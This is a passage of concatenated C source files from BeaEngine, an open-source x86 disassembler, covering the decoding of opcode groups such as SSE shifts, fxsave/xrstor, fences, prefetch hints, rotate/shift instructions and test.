            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
    }
    else if (REGOPCODE == 3) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrldq ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            FailDecode(pMyDisasm);
        }

    }
    else if (REGOPCODE == 6) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 4;
            MMX_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            MMX_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
    }
    else if (REGOPCODE == 7) {
        if (OperandSize == 16) {
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHIFT_ROTATE;
            OpSize = 8;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            if (MOD_ == 0x3) {
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslldq ");
            }
            else {
                FailDecode(pMyDisasm);
            }
            EIP_ += DECALAGE_EIP + 3;
            if (!Security(0)) return;
            ImmediatSize = 8;
            MyNumber = *((BYTE*) (EIP_ - 1));
            (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X", MyNumber);
            (*pMyDisasm).Instruction.Immediat = MyNumber;
            (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
            (*pMyDisasm).Argument2.ArgSize = 8;
        }
        else {
            FailDecode(pMyDisasm);
        }

    }
    else {
        FailDecode(pMyDisasm);
    }

}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp15.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//
// ====================================================================
void __stdcall G15_(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        MOD_RM(&(*pMyDisasm).Argument1);
        if (MOD_ != 0x3) {
            OpSize = 5;
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + STATE_MANAGEMENT;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxsave ");
            (*pMyDisasm).Argument1.ArgSize = 512;
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + MMX_REG + SSE_REG;
            (*pMyDisasm).Argument2.ArgSize = 512;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else if (REGOPCODE == 1) {
        MOD_RM(&(*pMyDisasm).Argument2);
        if (MOD_ != 0x3) {
            OpSize = 105;
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + STATE_MANAGEMENT;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxrstor ");
            (*pMyDisasm).Argument2.ArgSize = 512;
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + MMX_REG + SSE_REG;
            (*pMyDisasm).Argument1.ArgSize = 512;
        }
        else {
            FailDecode(pMyDisasm);
        }

    }
    else if (REGOPCODE == 2) {
        MOD_RM(&(*pMyDisasm).Argument2);
        if (MOD_ != 0x3) {
            OpSize = 103;
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + STATE_MANAGEMENT;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ldmxcsr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG1;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            FailDecode(pMyDisasm);
        }

    }
    else if (REGOPCODE == 3) {
        MOD_RM(&(*pMyDisasm).Argument1);
        if (MOD_ != 0x3) {
            OpSize = 3;
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + STATE_MANAGEMENT;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stmxcsr ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SPECIAL_REG + REG1;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            FailDecode(pMyDisasm);
        }

    }

    else if (REGOPCODE == 4) {
        MOD_RM(&(*pMyDisasm).Argument1);
        if (MOD_ != 0x3) {
            OpSize = 5;
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + STATE_MANAGEMENT;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xsave ");
            (*pMyDisasm).Argument1.ArgSize = 512;
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + MMX_REG + SSE_REG;
            (*pMyDisasm).Argument2.ArgSize = 512;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }

    else if (REGOPCODE == 5) {
        MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
        if (MOD_ == 0x3) {
            (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lfence ");
        }
        else {
            OpSize = 105;
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + STATE_MANAGEMENT;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xrstor ");
            (*pMyDisasm).Argument2.ArgSize = 512;
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + MMX_REG + SSE_REG;
            (*pMyDisasm).Argument1.ArgSize = 512;
        }

    }
    else if (REGOPCODE == 6) {
        MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
        if (MOD_ == 0x3) {
            (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mfence ");
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else if (REGOPCODE == 7) {
        MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
        if (MOD_ == 0x3) {
            (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sfence ");
        }
        else {
            OperandSize = 8;
            MOD_RM(&(*pMyDisasm).Argument2);
            OperandSize = 32;
            OpSize = 101;
            (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clflush ");
        }

    }

    else {
        FailDecode(pMyDisasm);
    }
    EIP_+= DECALAGE_EIP + 2;
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp16.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//
// ====================================================================
void __stdcall G16_(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        MOD_RM(&(*pMyDisasm).Argument2);
        if (MOD_ != 0x3) {
            OpSize = 101;
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchNTA ");
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else if (REGOPCODE == 1) {
        MOD_RM(&(*pMyDisasm).Argument2);
        if (MOD_ != 0x3) {
            OpSize = 101;
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT0 ");
        }
        else {
            FailDecode(pMyDisasm);
        }

    }
    else if (REGOPCODE == 2) {
        MOD_RM(&(*pMyDisasm).Argument2);
        if (MOD_ != 0x3) {
            OpSize = 101;
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT1 ");
        }
        else {
            FailDecode(pMyDisasm);
        }

    }
    else if (REGOPCODE == 3) {
        MOD_RM(&(*pMyDisasm).Argument2);
        if (MOD_ != 0x3) {
            OpSize = 101;
            (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + CACHEABILITY_CONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "prefetchT2 ");
        }
        else {
            FailDecode(pMyDisasm);
        }

    }

    else {
        FailDecode(pMyDisasm);
    }
    EIP_+= DECALAGE_EIP + 2;
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp2.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0c0h
// ====================================================================
void __stdcall G2_EbIb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    EbIb(pMyDisasm);
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 2) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar ");
        FillFlags(pMyDisasm, 92);
    }
}


// ====================================================================
//      0c1h
// ====================================================================
void __stdcall G2_EvIb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    EvIb(pMyDisasm);
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 2) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar ");
        FillFlags(pMyDisasm, 92);
    }
}

// ====================================================================
//      0d0h
// ====================================================================
void __stdcall G2_Eb1(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    OpSize = 1;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument1);
    OperandSize = 32;
    (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, "1 ");
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Instruction.Immediat = 1;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol ");
        FillFlags(pMyDisasm, 87);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror ");
        FillFlags(pMyDisasm, 87);
    }
    else if (REGOPCODE == 2) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl ");
        FillFlags(pMyDisasm, 80);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr ");
        FillFlags(pMyDisasm, 80);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl ");
        FillFlags(pMyDisasm, 91);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr ");
        FillFlags(pMyDisasm, 91);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal ");
        FillFlags(pMyDisasm, 91);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar ");
        FillFlags(pMyDisasm, 91);
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//      0d1h
// ====================================================================
void __stdcall G2_Ev1(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (OperandSize == 64) {
        OpSize = 4;
    }
    else if (OperandSize == 32) {
        OpSize = 3;
    }
    else {
        OpSize = 2;
    }
    MOD_RM(&(*pMyDisasm).Argument1);
    (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, "1 ");
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Instruction.Immediat = 1;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol ");
        FillFlags(pMyDisasm, 87);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror ");
        FillFlags(pMyDisasm, 87);
    }
    else if (REGOPCODE == 2) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl ");
        FillFlags(pMyDisasm, 80);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr ");
        FillFlags(pMyDisasm, 80);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl ");
        FillFlags(pMyDisasm, 91);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr ");
        FillFlags(pMyDisasm, 91);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal ");
        FillFlags(pMyDisasm, 91);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar ");
        FillFlags(pMyDisasm, 91);
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//      0d2h
// ====================================================================
void __stdcall G2_EbCL(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    OpSize = 1;
    OperandSize = 8;
    MOD_RM(&(*pMyDisasm).Argument1);
    OperandSize = 32;
    (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[1]);
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument2.ArgSize = 8;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 2) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar ");
        FillFlags(pMyDisasm, 92);
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//      0d3h
// ====================================================================
void __stdcall G2_EvCL(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (OperandSize == 64) {
        OpSize = 4;
    }
    else if (OperandSize == 32) {
        OpSize = 3;
    }
    else {
        OpSize = 2;
    }
    MOD_RM(&(*pMyDisasm).Argument1);
    (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[1]);
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument2.ArgSize = 8;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rol ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ror ");
        FillFlags(pMyDisasm, 88);
    }
    else if (REGOPCODE == 2) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcl ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcr ");
        FillFlags(pMyDisasm, 81);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shl ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shr ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sal ");
        FillFlags(pMyDisasm, 92);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SHIFT_ROTATE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sar ");
        FillFlags(pMyDisasm, 92);
    }
    EIP_ += DECALAGE_EIP + 2;
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp3.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0f6h
// ====================================================================
void __stdcall G3_Eb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
        EbIb(pMyDisasm);
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 104);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
        EbIb(pMyDisasm);
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 104);
    }
    else if (REGOPCODE == 2) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
